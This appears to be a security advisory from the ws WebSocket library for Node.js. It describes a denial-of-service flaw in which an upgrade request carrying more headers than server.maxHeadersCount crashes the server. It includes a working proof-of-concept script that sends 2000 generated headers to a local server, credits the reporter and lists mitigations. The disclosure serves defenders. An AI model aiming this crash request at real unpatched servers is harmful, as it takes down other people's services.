Bug fixes

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.
